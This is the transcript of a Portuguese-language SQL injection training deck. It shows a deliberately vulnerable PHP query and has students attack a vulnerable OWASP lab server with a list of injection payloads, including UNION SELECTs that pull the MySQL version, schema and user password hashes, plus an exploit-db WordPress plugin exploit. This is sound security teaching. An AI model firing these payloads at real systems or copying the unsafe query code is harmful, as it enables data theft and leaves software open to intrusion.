a1 - sql injection na prática parte 01

Post on 21-Jan-2017

318 Views

Category:

Documents

4 Downloads

Preview:

Click to see full reader

TRANSCRIPT

A1 – SQL Injection na Prática!

COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.

Exemplos Reais

Sumário

Tipos de Injeção

SQL Injection

O que é SQL Injection?

Quais são as implicações?

Exemplo Cracker

Servidor OWASP

Exercícios 01

Código Fonte

Exercícios 02

Referências OWASP

COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.

A1 – Tipos de Injeção

https://www.owasp.org/index.php/Interpreter_Injection

A1 – Tipos de Injeção

Injeção de LDAP: é uma técnica usada para explorar

sites da Web que constroem expressões LDAP de uma

entrada fornecida pelo usuário (WASC-29).

Comandos de SO: técnica para explorar sites da Web

através da execução de comandos de sistema

operacional em campos de entrada (WASC-31).

Injeção XPath: é uma técnica usada para explorar

sites que constroem consultas Xpath (linguagem para

endereçar elementos de documentos XML) a partir de

entradas fornecidas pelo usuário (WASC -39).

https://www.owasp.org/index.php/XPATH_Injection

WordPress - Vulnerability Statistics

SQL Injetion

O que é?

SQL (Structured Query Language) é uma linguagem de programação para a consulta de

bancos de dados.

Um invasor fornece dados maliciosos para o seu aplicativo e os dados são concatenados

para consultar um banco de dados (BD).

Quais são as implicações?

Vazamento de informações através de mensagens de erro do BD.

Dados extraídos de seu banco de dados .

Controle completo do seu banco de dados (inserir dados, apagar tabelas, e assim por

diante).

Executar comandos em seu sistema.

Comprometimento completo do sistema.

Exemplo cracker – www.exploit-db.com

Banco de Vulnerabilidades

• Common Vulnerabilities and Exposures (CVE) fornece uma referência de

método para conhecimento ao público, expoem as informações de

segurança, e as vulnerabilidades.

http://cve.mitre.org/about/terminology.html

Servidor OWASP

• Digite no Web Browser o ip que nosso Servidor forneceu.

http://code.google.com/p/owaspbwa/wiki/Downloads

Selecione a Aplicação WordPress

Exploração da Vulnerabilidade

Exercícios 01

Entrar no site http://www.exploit-db.com

Entrar no menu “search”

Pesquisa pela “Description”, o nome do plugin “Spreadsheet ”.

Selecione a vulnerabilidade “Wordpress Plugin Spreadsheet <= 0.6

SQL Injection Vulnerability ”

Aplique o exemplo dado no WordPress, armazenado em nosso

Servidor de Aplicações Vulneráveis.

Outros Bancos de Vulnerabilidades

http://www.securityfocus.com/

http://www.osvdb.org/

http://www.cvedetails.com/top-50-products.php

SQL Injection Abaixo a aplicação pesquisa o Usuário pelo ID.

ID = 1 / First name: admin / Surname: admin

Ao inserimos o Apostrofo (‘), no campo de

consulta, gerou um erro de banco de dados.

You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server

version for the right syntax to use near ''''' at line 1

Código Fonte <?php

if(isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i = 0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo '<pre>';

echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;

echo '</pre>';

$i++;

}

}

?>

O Apostrofo está fechando a consulta SQL e formando

outra, como não há um filtro na Aplicação, o caracteres

interferiu diretamente no código gerando o Erro.

"SELECT first_name, last_name FROM users WHERE user_id = '$id''";

SQL INJECTION

SELECT first_name, last_name FROM users WHERE user_id = '$id' or ' 1 ' = ' 1';

Exercícios 02

Escreva os comandos e analise os resultados. ' or ' 1 ' = ' 1

' or 1=1—

' union SELECT @@version'

' union SELECT @@version, null '

' union SELECT database(), null '

1' UNION ALL SELECT user, password FROM mysql.user; -- priv;#'“

a' UNION ALL SELECT system_user(),user();#'”

a' UNION SELECT table_schema, table_name FROM information_schema.tables;#'”

' union select user, password from users; -- priv;#'“

' union select user, password from users; -- '

Password’s usam o criptografia

MD5

Referências OWASP OWASP SQL Injection Prevention Cheat Sheet

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java

OWASP Injection Flaws Article

https://www.owasp.org/index.php/Command_Injection

OWASP Testing Guide: Chapter on SQL Injection Testing

https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29

OWASP Code Review Guide: Command Injection

https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection

LDAP Injection

https://www.owasp.org/index.php/LDAP_injection

XML Injection

https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29

XPATH Injection

https://www.owasp.org/index.php/XPATH_Injection

Log Injection

https://www.owasp.org/index.php/Log_injection

Referências Externas:

CWE Entry 77 on Command Injection

http://cwe.mitre.org/data/definitions/77.html

CWE Entry 89 on SQL Injection

http://cwe.mitre.org/data/definitions/89.html

XSLT Injection

http://www.acunetix.com/blog/web-security-zone/articles/the-

hidden-dangers-of-xsltprocessor-remote-xsl-injection/

top related